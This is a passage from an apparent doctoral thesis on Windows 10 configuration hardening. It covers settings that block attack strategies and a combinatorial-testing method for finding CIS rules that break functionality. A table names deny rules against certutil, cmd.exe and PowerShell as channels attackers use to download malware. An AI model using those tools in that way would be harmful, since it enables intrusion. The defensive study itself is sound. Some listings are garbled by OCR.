blocks impact strategies that rely on them. If we turn off PowerShell or allow only signed
scripts, any PowerShell-based is blocked. The next group of settings in Table 5.10 limit
the access of standard users to specific programs, e.g., certutil or cmd. exe. Thus, the
attack strategy that uses the certutil to download more malicious files can be blocked
for standard users. Another group is the camera-related settings. Of course, disabling
the camera blocked our attack strategy of recording the victim. However, this is only
reasonable in contexts where the users will never use the camera of the machine, e.g., if all
employees get the same laptop with the integrated camera, but nobody does video calls or
presentations. The more relaxed setting deactivates the camera when the lock screen is on,
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Configuration Setting Secure Security Impact (Potential) Side Effects
Value
ASR Rule: Block exe- 1 New and unknown mal- New and unsigned, but
cutable files from run- ware cannot run benign software cannot
ning unless they meet run
a prevalence, age, or
trusted list criterion
Block connections n/a Attackers cannot use Users cannot down-
from certutil with certutil for down- load certificates with
a Windows Firewall loading other malware certutil
Outbound Rule
Block connections n/a Attackers cannot use  Users cannot download
from PowerShell with powershell for estab- files with powershell
a Windows Firewall lishing a connection
Outbound Rule
Configure  Controlled Enabled: Untrusted ransomware Some benign software
folder access Block cannot encrypt files cannot edit the files
Configure protected Configure Untrusted ransomware Some benign software
folders cannot encrypt files cannot edit the files
Disallow Use of Camera Disallowed Attackers cannot extract No video calls possible
data via the camera
Prevent access to the Enabled Attackers cannot use Employees cannot use
command prompt the command prompt the command prompt
Prevent enabling lock Enabled Attackers can only Accidentally  locking
screen camera extract data while the the screen stops camera
screen is unlocked recording
Remove (RX) permis- n/a Unprivileged attackers  Standard users cannot
sions for certutil cannot use certutil download certificates
from standard users for downloading other  with certutil
malware
Remove (RX) permis- n/a Unprivileged attackers  Standard users cannot
sions for cmd. exe from cannot use the cmd use the cmd
standard users
Windows PowerShell: Allow Blocks most PowerShell-  Employees cannot use
Turn on Script Execu- only based attacks PowerShell without
tion signed signing the scripts
scripts/Allow
local
scripts
and
remote
signed
scripts

Table 5.10.: Configurations against the impact vectors.

i.e., Prevent enabling lock screen camera. Without this setting activated, the attacker could see
what is happening in front of the camera even if the screen is locked.

To counter the threat of encrypting our data and demanding a ransom, only the Controlled
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folder access and Configure protected folders configuration settings were applicable. If we
configure, e.g., our Documents folder as a protected folder, the ransomware cannot encrypt
it. Maintaining the list of legitimate programs that are allowed to access the protected
folders may be tedious, but it is worth doing so.

None of the settings above is a silver bullet that turns Windows 10 into an unbreakable
fortress. However, every setting makes one part of the attacks we have implemented
more difficult, and, hence, increases the attackers’ effort to reach their goal. As most
of the criminal attackers are nowadays conducting cyber crimes for financial reasons,
they also make economical decisions. They have their standard attacks usually based on
existing exploits and software and try to attack as many systems with the least effort. If
it is more cumbersome and tedious for them to hack a system because of the presented
countermeasures, they might decide to drop their attack and move to the next target.

5.5. Discussion

In the following, we discuss the attacks we implemented, the countermeasures we have
or have not found against them, and the resulting implications. We want to state that all
statements about the usefulness of configuration hardening are limited to the context of
this chapter, e.g., the configuration of Windows 10 and the attack strategies presented in
the previous chapters. For other systems or attacks, we could draw completely different
conclusions.

We want to start with the most significant caveat of our attacks, and thus also to the
configuration hardening measures motivated by them. We could not implement an attack
without the victim’s interaction, i.e., we did not present a zero-click attack. Thus, if we
only consider the attacks we presented in this chapter and assume that our victim does
not start any malicious macro or does not click on any malicious link, our attacks are not
practicable, and there is no need for configuration hardening. Thus, if this assumption
is valid for an organization or company, the administrators do not have to implement a
Windows 10 security-configuration guide. Based on this assumption, we have to accept
the hypothesis we made at the beginning of this chapter that there is no need for security
configuration, and thus this whole thesis.

Since most organizations and companies’ second part of the assumption is invalid, they
try to make it accurate via awareness training. However, a recent study suggests combining
simulated phishing exercises and voluntary embedded training made employees more
susceptible to phishing [52]. Thus, we —and also others— believe that despite all awareness
training, there will be people within an organization that, at some point, make a mistake
and start the attack. Therefore, we think that our attacks are practicable and that we
need configuration hardening as an additional security measure in addition to awareness
training.

Let us look at the attacks and the corresponding configuration measures. We recognize
a difference between the different phases in the ATT&CK framework. On the one hand,
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many configurations block the execution or credential access attack strategies. On the other
hand, there are no or only a few helpful configurations to avoid defense evasion, command
and control, or even initial access. Thus, configuration hardening can successfully prevent
attacks at a phase like the execution or the credential access, but they are only sometimes
successful. In practice, we should combine configuration hardening with other security
measures, e.g., awareness training for the initial phase or anomaly detection systems for
the defense evasion phase.

If we look at the complete attacks, we presented in Section 5.3, we could block all of them
with one or more configuration measures. Furthermore, we could block the implemented
attacks usually at one phase and different phases with different settings. This means that
the defense-in-depth approach of configuration hardening can still be successful, even if
the attacker circumvents a measure in a previous phase with a newly discovered technique.
For example, suppose the attacker executes some script through a new exploit, although
we configured Windows 10 to turn off all scripting. If they cannot establish a persistent
backdoor, because we configured the settings presented in Section 5.4.3, the attack will end
unsuccessfully after the system is restarted. Moreover, an employee will likely only click
once on a phishing email.

The fact that we found different configuration measures blocking our attacks at different
phases makes security configuration flexible. For example, suppose we cannot block
PowerShell because we need it in our setup. In that case, we can still configure other rules
that block the same attack in the same or another phase of the ATT&CK framework.

In general, attackers can reproduce the presented attacks we implemented and attack
companies or organizations with them. Thus, these attacks pose a real risk to most compa-
nies and organizations. Furthermore, we showed that configuration measures can block
these attacks at different levels of the attacks. Therefore, we can, for the given context, reject
the hypothesis that there is no need for configuration hardening. We could measure the
positive effect, i.e., the blocking of attacks, for the countermeasures presented in Section 5.4.
Thus, our qualitative evaluation could show the effectiveness of configuration hardening
for Windows 10.

5.6. Conclusion

In this chapter, we have implemented several attack strategies to attack Windows 10 in
the configuration used at the TUM. We organized our attacks aligned to the ATT&CK
framework and focused on the phases Initial Access, Execution, Persistence, Privilege Escala-
tion, Defense Evasion, Credential Access, Command and Control, and Impact. We could —except
for a few mentioned exceptions— successfully implement and execute all attack strategies
mentioned in Section 5.2. However, we discussed the big caveat of our attacks, i.e., that all
attacks need at least some user interaction. Furthermore, we combined the attack strategies
to the five attacks presented in Section 5.3. Afterward, presented in Section 5.4 configuration
measures that could block our attack strategies in practice. In some phases, like the execu-
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tion or credential access phase, configuration hardening is more effective than in others; we
could not prevent the defense evasion or only achieve minor improvements at the initial
access. However, we think that the attack strategies presented in Section 5.2 combined
to complete the attacks presented in Section 5.2 in combination with the configuration
measures that block them give a strong argument for the effectiveness of configuration
hardening.

Our conclusion of this chapter is, therefore, the following: Suppose administrators are
afraid to implement complete security-configuration guides, e.g., because of potential
functionality-breaking rules. In that case, they should look at the presented attack strategies.
If an attack strategy presented in Section 5.2 is realistic in their situation, they should have
a look at the corresponding configuration measures presented in Section 5.4 and configure
the settings that block those attack strategies. Thus, they can block the attack strategies
without unwanted side effects.
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6. Automated Identification of Breaking
Security-Configuration Rules

This chapter presents how we can efficiently identify security-configuration rules
that reduce the functionality of a system. Parts of this chapter have previously
appeared in [115], where the author of this thesis is the first author and the only
Ph.D. student within the publication’s authors.

6.1. Introduction

In practice, many administrators are very reluctant to apply configuration hardening to
systems in production. Even if a guide is available and the necessary processes and tools
to implement guides efficiently, they are discouraged by the fear of breaking the existing
functionality. In this chapter, we focus on problem of hardening existing systems and detect
functionality-breaking rules automatically.

6.1.1. Motivating Example

Figure 6.1 shows the current situation of hardening existing systems. Administrator Alice is
responsible for a server running essential business functions (see Figure 6.1, Scenario). For
example, the server could run Windows Server 2019 and a Microsoft Exchange server on top.
Thus, the business functions would be in this case everything the company employees want
to do with via the Exchange server, e.g, sending and receiving emails, reading and updating
the calendar, et cetera. For our approach, we assume that these functions are matched by
automatic tests in different levels of abstraction from unit tests to end-to-end tests. We are
aware that this is a strong assumption and will discuss it in detail in Section 6.8.2. In our
Windows Server 2019 with Exchange example, the tests could be Power Automate scripts
executing the most common tasks. If all test run successfully, the business functions are still
there.

Alice wants to configure the server securely and uses a CIS guide. This guide has more
than 500 rules. Alice automatically checks how many rules of the guide the system is
currently not compliant with (see Figure 6.1, Step 1).

As shown in Section 3.3, a system using Windows 10 or Microsoft Office in the default
configuration is, on average, only compliant with ~ 17.7% of the corresponding CIS rules.
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Figure 6.1.: The current process of hardening existing systems.

Thus, the checks will report more than 410 non-compliant rules. Alice could go through
these rules and make for each rule two decisions (see Figure 6.1, Step 2a): First, is this rule
important for the security of her server? A specific rule might be beneficial in general,
but the threat addressed by the rule might not be relevant for her server. Second, could
the rule interfere with the current behavior of the system, i.e., is the rule disabling some
functionality the existing systems on the server still need?

Both decisions are complex and time-consuming. For the first one, we need a threat
analysis to identify the relevant assets and resulting threats. For the second one, we need
to know the potential side effects. For each side effect, we then have to check whether it
affects the software running on the server. Although the rules include a description of the
potential side effect, one must know how the existing software works to estimate potential
problems with the rules to apply. If we calculated with one minute per decision, the process
would last more than six hours. There are only a few systems where such an extensive
analysis is economically reasonable. Alice could go into two different directions. Either she
applies all non-compliant rules on the server or does not harden the server. Any mixture
of those two options would result in more work, i.e., through considering which rule to
implement or bear the risk of breaking the system. Thus, it is more like that Alice tends
toward the one or the other direction.

If she chooses to apply all non-compliant rules, most probably problems in the system
functionality will arise, and such problems will be revealed by re-running the tests checking
the business functions after the hardening process. Thus, we assume for our example that
there are broken functionalities. If Alice knows the software running on the server, she can
guess which rules might cause the problems (see Figure 6.1, Step 2b); we call these rules
functionality-breaking or just breaking rules. Otherwise, she has to disable rules until she
finds all breaking rules.

If Alice found all the breaking rules and applied all other rules, she could guarantee the
system’s functionality and maximize the security gained by the configuration hardening.
Usually, Alice does not know how many rules she has to exclude and how the rules work
together. Multiple rules can break the same functionality, so she excludes all of them.
Furthermore, she might not have to remove all breaking rules, as combining multiple rules
breaks one functionality, so she excludes one of the corresponding rules.

When we applied a CIS guide to a test system at Siemens, we had to exclude 9 of the 500
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Figure 6.2.: Identifying breaking rules using combinatorial testing and decision trees.

rules, i.e., if we knew the number of rules to exclude, we would only have (580) candidates.

In practice, we do not need to investigate that many candidates, but, on average, this will
cost far more time than the decision process, rendering this approach even more costly than
the other.

Therefore, Alice will implement only rules for which she is 100% sure that they do
not break a function or not harden the system at all. This behavior of dodging the risk
of problems with the software functionality by neglecting the security configuration is
widespread. We conducted a case study with two municipalities in Southern Germany:
Although a guide existed for those municipalities, their systems only fulfilled 12% and 35%
of the rules, respectively. They argued that they have a very heterogeneous environment
and high availability requirements and, thus, did not want to tamper with the system’s
functionality. One might see this only as anecdotal evidence, but we heard the same
argumentation from administrators at the TUM.

6.1.2. Problem and Proposed Solution

The main problem addressed in this chapter is the following: We want to harden an existing
system without interfering with its current functionality. Therefore, we want to find for a
given guide, a given system and its given functionality a maximal subset of rules that does
not break the functionality of the system.

To address this problem, we use existing combinatorial testing approaches combined
with decision trees to efficiently find such a maximal subset (see Figure 6.2). First, we
generate covering arrays based on the given rules. Second, we apply the rules specified in
the current array entry, test all the functions, and store the corresponding result. Third, we
train decision trees on the data from the previous step. Fourth, we use the shortest path
leading to all functions working to find a set of breaking rules that leads us to maximal
subset that does not break the functionality.

Our contribution is that we transfer established techniques from the software engineering,
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[System]

Name: all_rules
[Parameter]
R1_1_1 (boole se
R1_1_2 (boolean) : true, false

Listing 6.1.: CIS guide transformed into the ACTS input format.

or more specifically, the software testing domain, to the security configuration domain to
solve a widespread problem. Additionally, we share our code so practitioners can use it to
find breaking rules.!

6.2. Generate Covering Arrays From Security-Configuration
Guides

The naive approach to solving our problem would be to test every possible combination
of rules. We could search the combinations without failing tests for the set with the most
applied rules, but this is a very inefficient approach. In the domain of software testing,
researchers have already solved a similar problem: If we want to test a program with many
different parameters, we want to test it in all possible combinations of the parameters. We
can use combinatorial testing to test programs enough without testing all the parameter
combinations [50]. Depending on the desired strength, we can drastically reduce the
combinations to test with combinatorial testing compared with testing all combinations.
However, we can only reliably detect all faults up to this level, i.e., combinatorial testing of
strength 2 can detect all faults caused by the combination of two or fewer parameters [51].

If we apply the combinatorial testing approach, we need to decide for a targeted strength
for finding breaking rules in a guide. Since there is no data from the security-configuration
domain, we have to rely on data from software testing. A study by Kuhn et al. found
no failing tests with a combination of more than six parameters [50]; we will discuss the
problem of transferring this context-specific number to the context of security-configuration
benchmarks later in the chapter. Thus, we assume that there is no combination of more than
six rules causing a function to break. However, we discuss this strong assumption later in
Section 6.8.

To apply combinatorial testing in the security-configuration domain, we generate once
for every guide with 7 rules a set of n-tuples with t rue or false; true at the position i
of a tuple means we apply the rule i in this combination. In combinatorial testing, such a
tuple is called Covering Array. We can reuse these covering arrays for multiple systems
with different functionalities to find breaking rules. If we add or remove new rules, we
must regenerate the covering arrays. Since the guides contain hundreds of rules, we needed

1GitHub.com/tum-i4 /Better-Safe-Than-Sorry

116


https://github.com/tum-i4/Better-Safe-Than-Sorry

6. Automated Identification of Breaking Security-Configuration Rules

# Degree of interaction coverage: 2

# Number of parameters: 507

# Number of configurations: 20

rR1.1 1,R1_1 2,R1_1 3,R1_1 4,R1_1 5,R1_1_6,...
true, true, true, true, false, false, ...

true, true, false, false, true, true, ...

false, false, true, true, true,true, ...

false, false, false, false, false, false, ...

Listing 6.2.: ACTS output for a CIS guide.

algorithms that could handle tuples of that size. Thus, we use the IPOG [53] and IPOG-
D [54] algorithms and their implementations in the Automated Combinatorial Testing for
Software (ACTS) tool to generate the combinations [143].

We first translate the rules of a guide from their original format into an ACTS input
file defining the used parameters. In this input file, each parameter has a name and a
data type, i.e., in our scenario, the rule’s ID, e.g.,, R1_1_1, and boolean. One can see an
example in Listing 6.1. Depending on the chosen degree of covering arrays and algorithm,
ACTS now generates the covering arrays. One can see an example output in Listing 6.2.
Afterward, we translate the ACTS output into JSON files we use to implement guides
automatically [107]. We included several versions of these JSON files for IPOG and IPOG-D
and different degrees in our repository. Furthermore, one can use our published Python
code to replicate these steps on their own. After this first step, we now have the different
covering arrays of the rules in our guide in a form we can automatically implement on a
system to test tuple break the system’s functionalities.

6.3. Tests Functions on Hardened Instances

Depending on the degree of the covering arrays, we generate between 20 and 5545 tuples
for the CIS Windows 10 guide. In the next step, we apply every tuple of rules and use the
given tests to check if all functions are still accessible. If a test fails, we record this in a log
file. After we have executed this procedure for every tuple, we collect the different log files
and merge them. The resulting file states which tuple broke a test and which did not.

What sounds straightforward, in theory, was cumbersome to realize. The first problem

[{ "mame": "custom_1", "breaking": false,

"rules": ["R1_1_1", "R1_1_2", "R1_1_3", "..."1},
{ "name": "custom_2", "breaking": true,

"rules": ["R1_1_1", "R1_1_2", "R1_1_5", "..."1},

LY

Listing 6.3.: Example results of the testing process.
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instances/vagrant_0

Script coordinating the tests
Example test

Test configuration, e.g.,
which tuples should we execute

test.psl
tst_acc_cr.psl
tst_conf.json

Vagrantfile # Includes the used Vagrant box
cis_windows_10_1909 # The guide to apply
sfera_automation. json # Export JSON with all the
# rules and CA tuples.
sfera_automation.psl # Library to apply the guide
setup.psl # Script for the test process
tests # Test directory
#
#
#
#

Listing 6.4.: Example Vagrant directory.

was that we had to prepare an environment where we could set up the software, apply
all rules in a tuple, test the functionalities, and record the result. To solve this problem,
security experts at Siemens use a toolchain with Ansible, Vagrant, and AWS instances to
efficiently provision several VM instances that they can configure independently and in
parallel [116]. An alternative is to use Vagrant and a hypervisor like VirtualBox to run the
VMs locally. The second problem was ordering effects, i.e., a test is failing not because of
the currently applied tuple but the previous one. Suppose the first tuple applies two rules,
and the second tuple applies two different rules. A test might fail afterward because of the
combination of all four rules, not because of the second tuple. To avoid these effects, we
could reset the VM after every test run or do a soft reset where we only revert the applied
rules. The hard reset costs more time than the soft reset, but there is no risk of side effects,
e.g., if the revert mechanism of a rule does not work. With the code in our repository, one
can generate one VM instance for every tuple or several instances and distribute the tuples
uniformly over the instances. Of course, the tests could also have side effects on each other.
However, we assume for this chapter that the tests have no side effects, and we always
run them in the same order. The third problem was the automatic tests. Ideally, we would
use tests from the industry to test real-world functionality. However, as we stated before,
only a few companies apply configuration hardening to their systems. Those companies
manually check whether their systems still work after the configuration hardening. Thus,
we needed to create our automatic tests ourselves. Nevertheless, if all tests pass although
the rules break the functionality, we will not detect this in our testing process, but only on
the productive systems; it is, therefore, crucial to find suitable tests [3].
After solving those issues, our testing procedure consists of the following steps:

1. Prepare the image of the system; First, we prepare an image, i.e., a Vagrant box,
with our software and all needed dependencies as reference to set up the different
instances.

2. Prepare the instances of the system We prepare for every VM instance to start a
directory with the software to run, the tests, the guide, and the covering array tuples
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10.

11.

12.

to test. If we want to test several tuples on one instance, we distribute the tuples
uniformly. One can see the layout of such a directory in Listing 6.4. On the one
side, we can fasten the instance setup if we add more actions into the box setup. On
the other side, we want the image to be flexible and fit more than one system, thus
keeping it slim.

Start the instances: We start the instances either in parallel or sequentially.

Is the system working?: We execute all tests in one instance to see whether the
functionality works on an instance in the default configuration. If the tests fail before
applying any rules, there must be a problem in the tests or the setup that we need to
fix.

Apply all rules in the guide: We apply all rules on one instance.

Run all tests: If there is a breaking rule in the guide, we will see at least one test failing.
If no tests fail, we can safely apply all rules and stop the testing process at this point.

Revert all rules: If we use the soft reset, the revert mechanism must work. However,
there are some rules that we cannot revert. Thus, we try to revert all rules and execute
the tests again. If some tests still fail, there is a problem with the revert mechanism.

Apply a tuple: We take the first tuple of the list of untested tuples and apply all rules
corresponding to this tuple on an instance.

Test the functionality : We execute the tests and store whether there were failing tests
in a JSON file.

Reset: To prepare a clean environment again, we perform a reset. Afterward, we go
back to Step 7 until we have applied all tuples.

Collect the results: After we have applied and tested all tuples, we collect all results
and whether there were failing tests, from the different instances and combine them
in a single JSON file. One can see an example output in Listing 6.3.

Tear down: We destroy the instances.

Again, one can use our published code to redo these steps on their own. We have now
tested all tuples, and the resulting JSON states which tuples cause which tests to fail. In the
next step, we use this information to deduce which rules caused the failures.

6.4.

Analyze the Test Results

As a result of the previous step, we know for each of the tuples whether the application
of these rules broke the functionality or not (see Listing 6.3). Next, we analyze these data
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Figure 6.3.: Simplified example of a generated decision tree. We use the order of the rules
in the guide defined by the author of the guide.

to find a maximal non-breaking subset of the guide. We could pass the failing tuples
to the administrators like Alice so that they adjust the software on the system to work
even when these tuples are applied. However, especially for legacy systems, it may be
challenging to carry out changes; Therefore, we want to adjust the guide by removing
potential problematic rules for our general scenario. At Siemens, the administrators would
decide whether they need other security measures to reduce the risks resulting from the
excluded rules.

We can visualize the results of the previous step in a truth table. Every row is a covering
array tuple, every column is a rule of the guide and the last column is the result of the tests.
Finding a minimal cutting set in such a structure is a common task in different computer
science disciplines, and there are different solutions. We used two different approaches for
our PoC.

6.4.1. Decision Trees

First, we adapted the approach described by Yilmaz et al. [141] for our scenario. They used
machine learning to find the parameters causing a test to fail and trained a decision tree
on their test results. Thus, we ported their approach into our domain and learned decision
trees on our results.

One can see an example decision tree in Figure 6.3. The nodes in the tree represent rules
from the tuples. The algorithm calculated different partitions of breaking and non-breaking
tuples by checking whether we apply a rule. In Figure 6.3, the algorithm differentiates
first between tuples where Rule A is applied or not. Every leaf node states whether the
functionality was broken or not when we applied or excluded the rules on the path between
the root and the leaf node. In Figure 6.3, applying Rule A but excluding Rule C leads to a
non-breaking leaf, i.e., Rule C is a breaking rule.

One could ask whether learning a decision tree is necessary in this case. Using the
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Figure 6.4.: Visualization of the modified decision tree from Figure 6.3 with weights to
support shortest path search.

decision tree approach has three advantages. First, learning a decision tree on the amount
of data generated by the test process is not that expensive, especially in comparison with
the generation of the covering arrays and the execution of the tests. Second, the decision
tree’s visual representation is easily understandable even for people without a machine
learning background. Third, since we use the decision tree only to analyze the data and not
to classify new tuples, wrong classifications are not a problem for our context. We could use
this decision tree to predict whether a tuple that we have not tested before is breaking or not.
However, we are only interested in the non-breaking leaves with the least excluded rules.
Therefore, we use shortest path search algorithms like Dijkstra’s algorithm on the decision
trees to find these leaves. We give edges that apply a rule, i.e., right edges in Figure 6.3, a
value 0, and all other edges the value 1. One can see an example in Figure 6.4. Therefore,
the total cost of a path from the root to a leaf is the number of rules that we did not apply.
In turn, the shortest path leading to a non-breaking leaf is the path with the least number
of rules not being applied, i.e., a maximal non-breaking set. In Figure 6.4, this is the guide
without the rule Rc.

We implemented our approach using scikit-learn [79]. First, we translate the data from the
previous step into the scikit format. Second, we train a decision tree on it. Third, we added
the weights to the learned decision tree. Fourth, we run a shortest path algorithm on the
weighted decision tree to find a non-breaking leaf. Five, we follow the path from the root to
this leaf. If the current edge has the weight 1, we remove the current rule from the guide.
The resulting set is a maximal non-breaking set.
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I:I:"Rllll "R2||:|, |:"R3", "R4H:|:|
Listing 6.5.: Example definition of a breaking combination.

6.4.2. Logic Minimization

In addition to the heuristic approach, we can formally examine the results with logic
minimization to derive the minimal set. Here, we pass our truth table representing our test
results to one of the many minimization algorithms [9] and use the minimized table to find
the maximal non-breaking set. This will always return the correct result, if the correct result
is derivable from the given data; if only a combination of four rules lead to a problem, we
cannot derive this from a data table based on pairwise testing.

We first transform the test results into a truth table in our implementation. Second,
we pass this table to the minimization library PyEDA [26]. Third, we exclude the rules
according to the minimized table to derive.

We provided sample results and code in our repository so that one can redo these steps
with both approaches. In the end, we have a maximal non-breaking set, and we can use it
to harden our system safely without breaking any legacy functionality.

6.5. Evaluation

When evaluating our approach and its implementation, we focus on the following
research questions:

RQ1 Can we find a maximal non-breaking subset of a guide with respect to given function-
alities using combinatorial testing? What degrees of breaking rules can we detect? In
theory, the strength of the covering array should be the upper limit for the degree of
breaking rules we can detect. However, the combination with the decision trees could
reduce our approach’s power in practice.

RQ2 How much time does our approach need? Is this a reasonable time effort for hardening
a system?

We used the CIS guide for Windows 10 version 1909 [39] for our evaluation. This guide
contains 507 rules. To apply and revert the rules automatically, we transformed the guide
into the Scapolite Format [107]. In the following, we discuss how we evaluated the different
steps of our approach.

6.5.1. Evaluation of the Covering Array Generation

First, we had to evaluate the generation of the covering arrays from an existing guide. As
discussed in Section 6.2, we wanted to generate covering arrays with strength from 2 to 6
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Table 6.1.: Number of generated tuples depending on the used algorithm and strength.

Strength
Algorithm 23 4 >

IPOG 20 70 209 -
IPOG-D 20 78 305 5545

with both IPOG and IPOG-D. We evaluated how long the generation takes for the Gcrs wio
guide to partially answer RQ1.

We run the ACTS tool on a server with two Intel Xeon E5-2687W v3 CPUs with 40 cores
and a total of 500 GB of RAM, from which we used up to 340 GB.

6.5.2. Testing Process

We evaluated our testing process in three steps.

Simulation

In the first step, we simulated the breaking rules. Here, we first defined combinations
of rules that break the functionality. We defined 51 combinations of breaking rules; one
combination is the empty set, i.e., the special case where we can apply our guide without
problems. We define them as logical formulas in disjunctive normal form; Listing 6.5
shows how we express (R1 A R2) V (R3 A R4). If we apply all rules of the first or the
second subformula, the system’s functionality will break, e.g., we can apply R1 and R2 to
break the function, but not R1 and R3. Furthermore, we tested for each of the non-empty
combinations 3 additional random variants, i.e., we replaced the rules’” ids with random
other ids to avoid potential side effects based on the order of the rules. In total, we thus
tested 201 sets; one can find all 201 sets in our repository to reproduce our evaluation.

For each of the combinations, we then went through the list of tuples and created for each
tuple the result file: If a covering array tuple includes a breaking combination, we mark the
tuple as breaking else as non-breaking. Afterward, we combine all result files and analyze
them using our decision-tree-based and logic minimization approach. We used different
covering arrays from both generation algorithms and with different strengths.

Validation of the Simulation

In the second step, we evaluated the complete process but used generated mock tests based
on the defined combinations from the Evaluation Step 1. As described in Section 6.3, we
execute all steps. However, the tests in Step 8 check for a given definition of breaking rules
and whether the current system is compliant with those rules. If so, we mark the current
tuple as failing. We could test many combinations of breaking rules with those generated
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Table 6.2.: Time (in seconds) needed to generate covering arrays of given strength depending
on the used algorithm.

Strength
Algorithm 2 3 4 5

IPOG 0.7 374 179149 -
IPOG-D 02 16 8451 1184478

mock tests. In contrast to the simulation, this step required significantly more time. While
executing the tests is cheap, setting up the VM and then applying and reverting the rules
takes some time. We conducted this part of the evaluation with the covering arrays of
strength 4 generated by the IPOG-D on two VMs.

Practical Application

In the third step, we evaluated the process with a real test. Here, we needed a program that
fails when the whole guide is applied. We chose a simple PowerShell script that creates
a new user with a password and then deletes the user again. This test symbolizes the
nightmare of all administrators like Alice: It is a straightforward task that usually takes
seconds but does not work after the hardening. Thus, they must spend hours investigating
which rule broke the functionality that does not relate to the script’s original time effort.
Furthermore, Windows administrators use PowerShell scripts a lot to manage and maintain
their Windows systems and servers. The Siemens infrastructure and its focus on Windows-
based systems influenced many parts of this thesis and this chapter. Problems occurring in
PowerShell scripts due to security-configuration rules were the main motivation to develop
this approach. Next, we did all the steps of our process with two instances running in
parallel and marked the tuples as failing when f’ failed. Again, we gave the result to our
analyzing components to find a maximal non-breaking subset of Gcis wio. In the end, we
applied a maximal non-breaking subset and checked whether f’ was working or not. We
again conducted this part of the evaluation with the covering arrays of strength 4 generated
by the IPOG-D on two VMs.

The simulation helps us to answer RQ1. In Step 2 and Step 3, we measured the time
needed since this contributes significantly to the answer of RQ2.

6.5.3. Evaluation of the Analysis

We need the analysis of the test results to assess the general quality of our approach.
However, we also compared different factors: First, we compared the analysis variant,
i.e., the decision-tree-based heuristic and the logic minimization approach. Second, we
compared the influence of different parameters, e.g., for the decision tree generation. Third,
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[["R2_2_1", "R2_2_2", "R2_2_3"],
["R2_2_4", "R2_2_5", "R2_2_6"],
["R2_2_7", "R2_2_8", "R2_2_9"]]

Listing 6.6.: Problematic breaking rule set.

we compared different algorithms to find a solution in the tree-based approach, e.g., taking
the non-breaking leaf with the most samples.

We assessed for the different variants whether they calculated a correct maximal non-
breaking set and checked how much they differ in the case of incorrect output. Thus, we
can answer RQ1. Moreover, we measured how long the calculation of the breaking rules
takes depending on the input, contributing to the answer of RQ2.

6.6. Results

In this chapter, we will present the results of the evaluation of our PoC.

6.6.1. Results of the Covering Array Generation

Table 6.1 shows the number of tuples per covering array for different strengths and both
IPOG and IPOG-D. The number of tuples grows exponentially with increasing strength.
However, due to the required time, we could not generate covering arrays of the strength of
5 using IPOG or 6 with IPOG-D. Table 6.2 shows the required time to generate the covering
arrays. For all strengths between 2 and 4, the time is an average of 5 measurements; for 5,
we measured the time only once. One can see that IPOG-D-as expected-is faster than IPOG.
Thus, for IPOG-D, we could even calculate the covering arrays with strength 5, although it
took ~ 13.7 days. However, IPOG-D generated more tuples for covering arrays of the same
strength.

6.6.2. Results of the Testing Process

Simulation

Figure 6.5 shows our simulation results with covering arrays of strength 2 to 5. We cluster
the breaking rule set based on the number of clauses they have on the x-axis and what is
the maximal number of rules within a clause on the y-axis. A red triangle means that our
approach could not identify a single solution correctly for all sets in this cluster. An orange
square means that our approach identified some solutions correctly for the sets in this cluster.
A green diamond means that our approach identified all solutions correctly for this cluster.
Based on the strength of the covering arrays, we expected a green triangle in the lower left
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Figure 6.5.: Distribution of the breaking rules sets.

corner. However, our approach performed worse than expected for 2-way and 3-way arrays
but better for 5-way arrays. The most prominent reason is the lack of data for the decision
tree. The decision tree has no data to partition and, therefore, cannot determine any rules to
be excluded. In some cases, the algorithm could find subsets of the correct solutions. We
consider these cases invalid results for this evaluation, but they may contribute to finding
the optimal solution. Surprisingly, our approach could calculate the correct results for
single clauses with up to 11 rules per clause based on the covering arrays of strength 5,
although we only expected correct results for up to 5. We investigated the breaking rule
sets that were not calculated correctly in more detail. Our approach could not determine
the correct solution for combination in Listing 6.6 and all its variants. Instead of excluding
one rule from each of the three clauses, our algorithm only excludesR2_2_4 and R2_2_7,
i.e., a subset of one correct solution. Thus, we investigated the corresponding decision
tree. Although correct solutions were part of the tree, the wrong solutions dominated
them because of the shorter length. We are not sure why the decision tree was partitioned,
but maybe more test tuples would have helped. In general, our approach calculated the
correct solution 77% of the breaking rules in our sample set. One could argue that this is
too low to use the approach in practice, but our sample set includes far more complicated
combinations than we expect in reality. On the realistic samples, based on the assumption
that only up to 6 rules combined lead to a problem, we achieve almost 100%.
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R1_1_4<=0.5
gini=0.5
samples = 305
value = [149, 156]
class = Breaking

True False

Figure 6.6.: Generated decision tree for the example functionality.

Validation of the Simulation

When we started this part of the evaluation, the initial tests failed, i.e., Step 4 of the testing
process. The reason is those mentioned above ~ 17.7% compliant rules on a system in its
default configuration. Suppose we have a combination of R1 and R2 in our set of breaking
rules. By chance, R1 and R2 are rules that are already activated on a default Windows 10,
i.e., they are part of the ~ 17.7% of compliant rules in the default state. Thus, the initial
tests will fail because of the default configuration. Of course, this never happened for the
simulation since we assumed all rules were initially non-compliant. Thus, we had to skip
those tests; an alternative was to use an image non-compliant with all rules, but we deemed
this not a realistic scenario. Apart from this, the generated mock tests lead to the same data
as the simulation. The whole process took around 12 hours.

Practical Application

We evaluated the practical application of our PoC by testing functionality with unknown
breaking rules. We knew from the initial tests that the functionality worked before applying
any rules but did not work after applying them. Overall, the testing process took 12 hours
to complete, resulting in 156 breaking and 149 non-breaking combinations. Figure 6.6 shows
the decision trees learned on these results stating that one should exclude rule R1_1_4.
Afterward, we applied the guide without R1_1_4, ran our test again, and it succeeded. Rule
R1_1_4 “ensure [that] ‘Minimum password length’ is set to ‘14 or more character(s)’ ”,
but our test script tried to set a password of length 6 and thus failed. One might argue
that spending 12 hours on this simple example is over the top and a waste of time and
resources since the problem is trivial and the problematic rule is easy to find. However,

this is only an example to demonstrate our approach. The relationship between the failing
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Figure 6.7.: Distribution of the breaking rules sets when using combinations of strength 5
and the modified approach.

test or command and the problematic rule is usually less obvious than in our example. We
wanted to demonstrate with this obvious example that our approach, although it has no
knowledge about the failing command and the problematic rule in the first place, can learn
this connection from the test results.

6.6.3. Evaluation of the Analysis

Next, we compared different techniques to find the optimal solution. First, we select the
non-breaking leaf with the biggest partition instead of the leaf with the shortest path. We
developed this potential improvement based on the problems seen, e.g., in combinations
like Listing 6.6. We used the 5-way combinations generated by IPOG-D to compare the
different path algorithms. Figure 6.7 shows the result of the modified approach. One can see
that the figure is almost identical to Figure 6.5, but the modified approach performed better
in the mixed clusters like Listing 6.6, i.e., some orange triangles are here green diamonds.

Apart from modifying the used path algorithm, we also evaluated modifications of the
generation of the decision tree, e.g., introducing a minimum for the number of test cases
in a partition or changing the minimum number of data points for a split of the partition.
However, none of these changes lead to identifying more correct solutions.

